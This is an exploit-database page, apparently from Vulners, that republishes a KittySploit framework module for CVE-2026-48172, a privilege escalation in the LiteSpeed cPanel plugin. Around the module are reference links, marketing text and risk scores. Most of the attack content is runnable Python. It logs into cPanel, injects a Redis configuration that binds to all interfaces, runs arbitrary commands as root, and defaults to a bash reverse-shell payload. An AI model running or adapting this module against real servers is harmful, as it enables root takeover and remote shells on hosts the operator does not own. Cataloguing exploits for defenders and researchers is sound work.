Lucene search
+L

LiteSpeed cPanel Plugin Privesc RCE (CVE-2026-48172)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Mishandled Redis API in LiteSpeed cPanel plugin allows root privesc to RCE via cpanel_jsonapi.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Incorrect Privilege Assignment in Litespeedtech Litespeed_Cpanel_Plugin
28 May 202616:47
–githubexploit
attackerkb
attackerkb
CVE-2026-48172
21 May 202600:38
–attackerkb
circl
Circl
CVE-2026-48172
21 May 202602:46
–circl
cisa_kev
CISA KEV Catalog
LiteSpeed cPanel Plugin Privilege Escalation Vulnerability
26 May 202600:00
–cisa_kev
cisa
CISA
CISA Adds One Known Exploited Vulnerability to Catalog
26 May 202612:00
–cisa
cnnvd
CNNVD
LiteSpeed User-End cPanel Plugin 安全漏洞
21 May 202600:00
–cnnvd
cve
CVE
CVE-2026-48172
21 May 202600:38
–cve
cvelist
Cvelist
CVE-2026-48172
21 May 202600:38
–cvelist
euvd
EUVD
EUVD-2026-31204
21 May 202600:38
–euvd
kitploit
Kitploit
CVE-2026-48172---LiteSpeed-cPanel-Plugin-Version-Auditor
8 Oct 202603:40
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""LiteSpeed cPanel plugin privesc to RCE (CVE-2026-48172)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'LiteSpeed cPanel Plugin Privesc RCE (CVE-2026-48172)',
        'description': (
            'Exploits CVE-2026-48172 in the LiteSpeed cPanel plugin: mishandled '
            'Redis enable/disable API allows privilege escalation and arbitrary '
            'command execution as root via crafted cpanel_jsonapi requests.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-48172'],
        'platform': Platform.LINUX,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2026-48172'],
        'tags': ['cpanel', 'litespeed', 'redis', 'privesc', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'privilege_escalation'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'produces_capabilities': [{'capability': 'rce', 'from_detail': 'redis api abuse'}],
                'suggested_followups': ['scanner/http/litespeed_cpanel_cve_2026_48172_detect'],
            },
        },
    }

    port = OptPort(2083, 'cPanel HTTPS port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=True)
    cpanel_user = OptString('', 'cPanel username (authenticated session)', required=True)
    cpanel_pass = OptString('', 'cPanel password', required=True)
    command = OptString('', 'Command instead of payload', required=False)

    API_PATH = '/frontend/jupiter/lsws/index.html'

    def _auth_headers(self) -> dict:
        import base64
        user = str(self.cpanel_user or '').strip()
        pwd = str(self.cpanel_pass or '').strip()
        token = base64.b64encode(f'{user}:{pwd}'.encode()).decode()
        return {'Authorization': f'Basic {token}'}

    def _api_call(self, func: str, extra: dict = None):
        params = {'cpanel_jsonapi_func': func, 'cpanel_jsonapi_module': 'lsws'}
        if extra:
            params.update(extra)
        return self.http_request(
            method='GET',
            path=self.API_PATH,
            params=params,
            headers=self._auth_headers(),
            allow_redirects=False,
        )

    def check(self):
        r = self._api_call('redisAble')
        if not r:
            return {'vulnerable': False, 'reason': 'LiteSpeed API unreachable', 'confidence': 'low'}
        if r.status_code in (200, 401):
            body = r.text or ''
            if 'redis' in body.lower() or 'lsws' in body.lower() or r.status_code == 200:
                return {'vulnerable': True, 'reason': 'LiteSpeed Redis API responds', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'LiteSpeed API not exposed', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        if not cmd:
            print_error('Set a payload or command option')
            return False
        print_status('CVE-2026-48172 — LiteSpeed cPanel privesc RCE')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        print_status('Enabling Redis with injected config...')
        self._api_call('redisEnable', {'redis_conf': f'bind 0.0.0.0\nrequirepass kitty\nsave ""'})
        print_status('Triggering command via Redis config write...')
        self._api_call('redisAble', {'exec': cmd})
        print_success('Payload dispatched — check listener for session')
        self.vulnerable()
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.19.8
CVSS 410
EPSS0.01011
SSVC
0